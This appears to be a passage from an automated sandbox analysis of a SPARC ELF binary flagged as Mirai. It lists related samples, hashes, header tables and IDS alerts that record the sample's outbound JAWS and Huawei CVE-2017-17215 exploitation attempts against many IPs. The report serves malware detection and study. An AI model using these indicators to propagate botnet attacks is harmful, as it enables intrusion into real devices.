                                                          • 197.169.124.214
                                                          x86_64.elfGet hashmaliciousMiraiBrowse
                                                          • 41.51.170.21
                                                          mpsl.elfGet hashmaliciousMiraiBrowse
                                                          • 197.109.134.22
                                                          sh4.elfGet hashmaliciousMiraiBrowse
                                                          • 197.172.142.238
                                                          arm7.elfGet hashmaliciousMiraiBrowse
                                                          • 197.106.7.118
                                                          mips.elfGet hashmaliciousMiraiBrowse
                                                          • 197.109.134.46
                                                          teste.arm7.elfGet hashmaliciousMirai, Moobot, OkiruBrowse
                                                          • 197.109.109.82
                                                          nsharm7.elfGet hashmaliciousMiraiBrowse
                                                          • 41.157.30.80
                                                          CDS-ASUAspc.elfGet hashmaliciousMiraiBrowse
                                                          • 217.67.75.18
                                                          arm5.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                          • 85.255.183.26
                                                          xd.sh4.elfGet hashmaliciousMiraiBrowse
                                                          • 5.105.80.71
                                                          botnet.spc.elfGet hashmaliciousMirai, MoobotBrowse
                                                          • 217.67.75.133
                                                          nuklear.arm.elfGet hashmaliciousMirai, MoobotBrowse
                                                          • 217.67.75.36
                                                          belks.x86.elfGet hashmaliciousMiraiBrowse
                                                          • 5.105.92.58
                                                          m68k.elfGet hashmaliciousUnknownBrowse
                                                          • 217.67.75.57
                                                          la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                                          • 5.105.92.63
                                                          na.elfGet hashmaliciousUnknownBrowse
                                                          • 217.67.75.165
                                                          KKveTTgaAAsecNNaaaa.ppc.elfGet hashmaliciousUnknownBrowse
                                                          • 85.255.183.31
                                                          ETISALAT-MISREGm68k.elfGet hashmaliciousMiraiBrowse
                                                          • 156.189.23.113
                                                          x86.elfGet hashmaliciousMiraiBrowse
                                                          • 156.189.23.123
                                                          nsharm.elfGet hashmaliciousMiraiBrowse
                                                          • 197.126.242.200
                                                          mpsl.elfGet hashmaliciousMiraiBrowse
                                                          • 197.192.154.245
                                                          arm7.elfGet hashmaliciousMiraiBrowse
                                                          • 156.190.95.217
                                                          mips.elfGet hashmaliciousMiraiBrowse
                                                          • 156.190.95.236
                                                          nsharm7.elfGet hashmaliciousMiraiBrowse
                                                          • 197.194.23.194
                                                          arm.elfGet hashmaliciousMiraiBrowse
                                                          • 197.123.197.13
                                                          sora.m68k.elfGet hashmaliciousMiraiBrowse
                                                          • 217.55.79.34
                                                          sora.mips.elfGet hashmaliciousMiraiBrowse
                                                          • 197.195.100.248
                                                          No context
                                                          No context
                                                          No created / dropped files found
                                                          File type:ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
                                                          Entropy (8bit):6.1819507512879985
                                                          TrID:
                                                          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                          File name:spc.elf
                                                          File size:71'440 bytes
                                                          MD5:c735943cdb0563f5249dde115981be18
                                                          SHA1:5fdd16537c1d6c5bca5debfa40a07c249560ad77
                                                          SHA256:0bcd3fede15864c44d9f41ff019ce9bc1a5673fef5f3daf16fd724274bc1f0f8
                                                          SHA512:c391b5dedaf0ecb4ba4761f7305607d93a0f1b63c41bc11ee21e05cff108ed5109a0baa7ee92a47623e758b488efe1acde2b2dc5ac548d1c8fe44d30eca2474f
                                                          SSDEEP:1536:j7AuhKSwETPv/mdsr0LQLUZYBwLM43QFtbs:w6DT/m5QASw/F
                                                          TLSH:08636A25B9792E17C1E4A17A22F78311B2E5234D34B8CB2D7D760F8DFF18A9461431B2
                                                          File Content Preview:.ELF...........................4.........4. ...(.......................................................4............dt.Q................................@..(....@.?.................#.....a@..`.....!.....#$..@.....".........`......$#$..#$..@...........`....

                                                          ELF header

                                                          Class:ELF32
                                                          Data:2's complement, big endian
                                                          Version:1 (current)
                                                          Machine:Sparc
                                                          Version Number:0x1
                                                          Type:EXEC (Executable file)
                                                          OS/ABI:UNIX - System V
                                                          ABI Version:0
                                                          Entry Point Address:0x101a4
                                                          Flags:0x0
                                                          ELF Header Size:52
                                                          Program Header Offset:52
                                                          Program Header Size:32
                                                          Number of Program Headers:3
                                                          Section Header Offset:71040
                                                          Section Header Size:40
                                                          Number of Section Headers:10
                                                          Header String Table Index:9
                                                          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                          NULL0x00x00x00x00x0000
                                                          .initPROGBITS0x100940x940x1c0x00x6AX004
                                                          .textPROGBITS0x100b00xb00xfc580x00x6AX004
                                                          .finiPROGBITS0x1fd080xfd080x140x00x6AX004
                                                          .rodataPROGBITS0x1fd200xfd200x15e80x00x2A008
                                                          .ctorsPROGBITS0x3130c0x1130c0x80x00x3WA004
                                                          .dtorsPROGBITS0x313140x113140x80x00x3WA004
                                                          .dataPROGBITS0x313200x113200x2200x00x3WA008
                                                          .bssNOBITS0x315400x115400x4680x00x3WA008
                                                          .shstrtabSTRTAB0x00x115400x3e0x00x0001
                                                          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                          LOAD0x00x100000x100000x113080x113086.20590x5R E0x10000.init .text .fini .rodata
                                                          LOAD0x1130c0x3130c0x3130c0x2340x69c2.93780x6RW 0x10000.ctors .dtors .data .bss
                                                          GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                          2024-12-03T23:16:45.710659+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2341910185.138.149.1680TCP
                                                          2024-12-03T23:16:45.710659+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2341910185.138.149.1680TCP
                                                          2024-12-03T23:16:51.039650+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360312108.165.135.3980TCP
                                                          2024-12-03T23:16:51.039650+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360312108.165.135.3980TCP
                                                          2024-12-03T23:16:51.477618+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2339544209.58.154.180TCP
                                                          2024-12-03T23:16:51.477618+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2339544209.58.154.180TCP
                                                          2024-12-03T23:16:54.667523+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352298181.49.1.980TCP
                                                          2024-12-03T23:16:54.667523+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352298181.49.1.980TCP
                                                          2024-12-03T23:16:54.865385+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234305445.93.92.2380TCP
                                                          2024-12-03T23:16:54.865385+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234305445.93.92.2380TCP
                                                          2024-12-03T23:16:55.091292+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2333214175.204.245.9080TCP
                                                          2024-12-03T23:16:55.091292+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2333214175.204.245.9080TCP
                                                          2024-12-03T23:16:55.514927+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2359722156.245.131.4737215TCP
                                                          2024-12-03T23:16:57.053070+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354632197.232.110.5537215TCP
                                                          2024-12-03T23:17:00.635509+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233428413.67.141.21380TCP
                                                          2024-12-03T23:17:00.635509+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233428413.67.141.21380TCP
                                                          2024-12-03T23:17:02.608297+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353654197.221.101.2937215TCP
                                                          2024-12-03T23:17:04.071515+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234925450.3.239.9180TCP
                                                          2024-12-03T23:17:04.071515+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234925450.3.239.9180TCP
                                                          2024-12-03T23:17:04.968596+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234433038.153.191.12480TCP
                                                          2024-12-03T23:17:04.968596+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234433038.153.191.12480TCP
                                                          2024-12-03T23:17:06.363990+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2357792102.72.235.21280TCP
                                                          2024-12-03T23:17:06.363990+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2357792102.72.235.21280TCP
                                                          2024-12-03T23:17:06.419072+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233453451.51.22.880TCP
                                                          2024-12-03T23:17:06.419072+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233453451.51.22.880TCP
                                                          2024-12-03T23:17:06.421964+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2342056222.216.121.16280TCP
                                                          2024-12-03T23:17:06.421964+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2342056222.216.121.16280TCP
                                                          2024-12-03T23:17:06.434644+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350594219.135.74.12480TCP
                                                          2024-12-03T23:17:06.434644+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350594219.135.74.12480TCP
                                                          2024-12-03T23:17:06.467080+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233984289.7.20.13180TCP
                                                          2024-12-03T23:17:06.467080+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233984289.7.20.13180TCP
                                                          2024-12-03T23:17:06.481248+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338240205.42.223.7680TCP
                                                          2024-12-03T23:17:06.481248+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338240205.42.223.7680TCP
                                                          2024-12-03T23:17:06.481416+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354802131.246.4.6380TCP
                                                          2024-12-03T23:17:06.481416+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354802131.246.4.6380TCP
                                                          2024-12-03T23:17:06.497169+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347602101.46.179.1680TCP
                                                          2024-12-03T23:17:06.497169+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347602101.46.179.1680TCP
                                                          2024-12-03T23:17:06.497505+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355162144.38.20.080TCP
                                                          2024-12-03T23:17:06.497505+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355162144.38.20.080TCP
                                                          2024-12-03T23:17:06.544006+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233588853.132.117.18480TCP
                                                          2024-12-03T23:17:06.544006+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233588853.132.117.18480TCP
                                                          2024-12-03T23:17:06.544355+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349344129.100.184.22380TCP
                                                          2024-12-03T23:17:06.544355+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349344129.100.184.22380TCP
                                                          2024-12-03T23:17:06.544401+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234462045.40.116.25280TCP
                                                          2024-12-03T23:17:06.544401+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234462045.40.116.25280TCP
                                                          2024-12-03T23:17:06.590979+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235648895.67.114.25380TCP
                                                          2024-12-03T23:17:06.590979+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235648895.67.114.25380TCP
                                                          2024-12-03T23:17:06.591035+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2353526153.112.177.22980TCP
                                                          2024-12-03T23:17:06.591035+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2353526153.112.177.22980TCP
                                                          2024-12-03T23:17:06.600042+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355950198.29.2.10380TCP
                                                          2024-12-03T23:17:06.600042+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355950198.29.2.10380TCP
                                                          2024-12-03T23:17:06.615596+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350114120.173.20.19480TCP
                                                          2024-12-03T23:17:06.615596+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350114120.173.20.19480TCP
                                                          2024-12-03T23:17:06.637715+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2345274146.132.188.16680TCP
                                                          2024-12-03T23:17:06.637715+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2345274146.132.188.16680TCP
                                                          2024-12-03T23:17:06.653194+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2334932104.171.23.14580TCP
                                                          2024-12-03T23:17:06.653194+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2334932104.171.23.14580TCP
                                                          2024-12-03T23:17:06.662581+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349530188.243.47.24980TCP
                                                          2024-12-03T23:17:06.662581+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349530188.243.47.24980TCP
                                                          2024-12-03T23:17:06.678080+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2337062178.209.10.7580TCP
                                                          2024-12-03T23:17:06.678080+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2337062178.209.10.7580TCP
                                                          2024-12-03T23:17:07.434851+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2358542152.243.171.4980TCP
                                                          2024-12-03T23:17:07.434851+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2358542152.243.171.4980TCP
                                                          2024-12-03T23:17:07.450210+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234446679.244.180.20780TCP
                                                          2024-12-03T23:17:07.450210+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234446679.244.180.20780TCP
                                                          2024-12-03T23:17:07.457990+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233402451.255.125.13880TCP
                                                          2024-12-03T23:17:07.457990+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233402451.255.125.13880TCP
                                                          2024-12-03T23:17:07.465698+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348408211.227.175.19780TCP
                                                          2024-12-03T23:17:07.465698+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348408211.227.175.19780TCP
                                                          2024-12-03T23:17:07.537859+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233281812.128.53.1080TCP
                                                          2024-12-03T23:17:07.537859+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233281812.128.53.1080TCP
                                                          2024-12-03T23:17:07.537953+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234405452.59.102.7780TCP
                                                          2024-12-03T23:17:07.537953+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234405452.59.102.7780TCP
                                                          2024-12-03T23:17:07.600254+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2340424179.151.244.13980TCP
                                                          2024-12-03T23:17:07.600254+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2340424179.151.244.13980TCP
                                                          2024-12-03T23:17:07.637794+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23557849.156.190.10480TCP
                                                          2024-12-03T23:17:07.637794+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23557849.156.190.10480TCP
                                                          2024-12-03T23:17:07.653553+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235761271.139.246.17480TCP
                                                          2024-12-03T23:17:07.653553+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235761271.139.246.17480TCP
                                                          2024-12-03T23:17:07.653577+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2334882131.92.253.18180TCP
                                                          2024-12-03T23:17:07.653577+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2334882131.92.253.18180TCP
                                                          2024-12-03T23:17:07.653582+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2334928184.86.41.5680TCP
                                                          2024-12-03T23:17:07.653582+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2334928184.86.41.5680TCP
                                                          2024-12-03T23:17:07.700412+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2334724175.139.215.10880TCP
                                                          2024-12-03T23:17:07.700412+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2334724175.139.215.10880TCP
                                                          2024-12-03T23:17:07.725140+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235289852.109.45.18280TCP
                                                          2024-12-03T23:17:07.725140+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235289852.109.45.18280TCP
                                                          2024-12-03T23:17:07.731364+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2357244220.191.45.22680TCP
                                                          2024-12-03T23:17:07.731364+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2357244220.191.45.22680TCP
                                                          2024-12-03T23:17:08.965732+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348428126.128.117.17480TCP
                                                          2024-12-03T23:17:08.965732+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348428126.128.117.17480TCP
                                                          2024-12-03T23:17:09.006420+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355344111.129.118.14180TCP
                                                          2024-12-03T23:17:09.006420+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355344111.129.118.14180TCP
                                                          2024-12-03T23:17:09.043926+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346556136.180.192.6480TCP
                                                          2024-12-03T23:17:09.043926+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346556136.180.192.6480TCP
                                                          2024-12-03T23:17:09.043967+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2341164180.109.221.17280TCP
                                                          2024-12-03T23:17:09.043967+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2341164180.109.221.17280TCP
                                                          2024-12-03T23:17:09.044103+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356698193.187.119.180TCP
                                                          2024-12-03T23:17:09.044103+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356698193.187.119.180TCP
                                                          2024-12-03T23:17:09.075284+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355712146.160.159.12880TCP
                                                          2024-12-03T23:17:09.075284+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355712146.160.159.12880TCP
                                                          2024-12-03T23:17:09.075448+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2340288103.214.187.22780TCP
                                                          2024-12-03T23:17:09.075448+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2340288103.214.187.22780TCP
                                                          2024-12-03T23:17:09.084346+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235267883.51.41.14480TCP
                                                          2024-12-03T23:17:09.084346+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235267883.51.41.14480TCP
                                                          2024-12-03T23:17:09.091293+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2335072177.225.31.24480TCP
                                                          2024-12-03T23:17:09.091293+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2335072177.225.31.24480TCP
                                                          2024-12-03T23:17:09.100041+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355066176.205.213.1780TCP
                                                          2024-12-03T23:17:09.100041+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355066176.205.213.1780TCP
                                                          2024-12-03T23:17:09.100196+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347196161.47.72.13080TCP
                                                          2024-12-03T23:17:09.100196+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347196161.47.72.13080TCP
                                                          2024-12-03T23:17:09.100327+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2342634159.198.67.11080TCP
                                                          2024-12-03T23:17:09.100327+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2342634159.198.67.11080TCP
                                                          2024-12-03T23:17:09.100491+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2333716219.25.117.20180TCP
                                                          2024-12-03T23:17:09.100491+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2333716219.25.117.20180TCP
                                                          2024-12-03T23:17:09.106477+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346746175.217.230.7080TCP
                                                          2024-12-03T23:17:09.106477+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346746175.217.230.7080TCP
                                                          2024-12-03T23:17:09.142225+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360554146.197.93.17780TCP
                                                          2024-12-03T23:17:09.142225+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360554146.197.93.17780TCP
                                                          2024-12-03T23:17:09.496963+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2357276156.124.55.11037215TCP
                                                          2024-12-03T23:17:09.512681+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235663089.106.217.24180TCP
                                                          2024-12-03T23:17:09.512681+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235663089.106.217.24180TCP
                                                          2024-12-03T23:17:09.530683+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344250176.88.220.12380TCP
                                                          2024-12-03T23:17:09.530683+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344250176.88.220.12380TCP
                                                          2024-12-03T23:17:09.544166+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234342220.223.0.23580TCP
                                                          2024-12-03T23:17:09.544166+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234342220.223.0.23580TCP
                                                          2024-12-03T23:17:09.554197+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2357190204.71.210.3680TCP
                                                          2024-12-03T23:17:09.554197+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2357190204.71.210.3680TCP
                                                          2024-12-03T23:17:09.615682+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233981214.2.153.10280TCP
                                                          2024-12-03T23:17:09.615682+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233981214.2.153.10280TCP
                                                          2024-12-03T23:17:09.653524+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2355264197.25.172.12437215TCP
                                                          2024-12-03T23:17:09.662591+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2358794197.57.240.23937215TCP
                                                          2024-12-03T23:17:09.678302+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2333594197.184.110.7237215TCP
                                                          2024-12-03T23:17:09.725179+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2353122170.152.121.16980TCP
                                                          2024-12-03T23:17:09.725179+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2353122170.152.121.16980TCP
                                                          2024-12-03T23:17:09.725184+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359074155.203.22.12680TCP
                                                          2024-12-03T23:17:09.725184+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359074155.203.22.12680TCP
                                                          2024-12-03T23:17:09.835253+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2332914156.73.199.20837215TCP
                                                          2024-12-03T23:17:09.965794+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2358900181.16.202.6780TCP
                                                          2024-12-03T23:17:09.965794+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2358900181.16.202.6780TCP
                                                          2024-12-03T23:17:09.966067+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234811075.96.152.12480TCP
                                                          2024-12-03T23:17:09.966067+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234811075.96.152.12480TCP
                                                          2024-12-03T23:17:09.975127+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2335012116.59.162.8580TCP
                                                          2024-12-03T23:17:09.975127+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2335012116.59.162.8580TCP
                                                          2024-12-03T23:17:09.997413+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2358128192.62.46.24080TCP
                                                          2024-12-03T23:17:09.997413+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2358128192.62.46.24080TCP
                                                          2024-12-03T23:17:10.089859+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2357340186.45.45.22980TCP
                                                          2024-12-03T23:17:10.089859+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2357340186.45.45.22980TCP
                                                          2024-12-03T23:17:10.089859+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346408107.254.158.16280TCP
                                                          2024-12-03T23:17:10.089859+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346408107.254.158.16280TCP
                                                          2024-12-03T23:17:10.089860+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233634088.109.144.12180TCP
                                                          2024-12-03T23:17:10.089860+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233634088.109.144.12180TCP
                                                          2024-12-03T23:17:10.089871+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2342638177.95.70.14580TCP
                                                          2024-12-03T23:17:10.089871+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2342638177.95.70.14580TCP
                                                          2024-12-03T23:17:10.098787+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.236074480.213.14.16580TCP
                                                          2024-12-03T23:17:10.098787+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.236074480.213.14.16580TCP
                                                          2024-12-03T23:17:10.098792+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344924137.96.172.13780TCP
                                                          2024-12-03T23:17:10.098792+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344924137.96.172.13780TCP
                                                          2024-12-03T23:17:10.098798+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234141884.171.71.6780TCP
                                                          2024-12-03T23:17:10.098798+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234141884.171.71.6780TCP
                                                          2024-12-03T23:17:10.121132+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.236064265.196.231.13180TCP
                                                          2024-12-03T23:17:10.121132+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.236064265.196.231.13180TCP
                                                          2024-12-03T23:17:10.121132+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234732814.201.184.21880TCP
                                                          2024-12-03T23:17:10.121132+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234732814.201.184.21880TCP
                                                          2024-12-03T23:17:10.213462+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354912158.229.16.17280TCP
                                                          2024-12-03T23:17:10.213462+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354912158.229.16.17280TCP
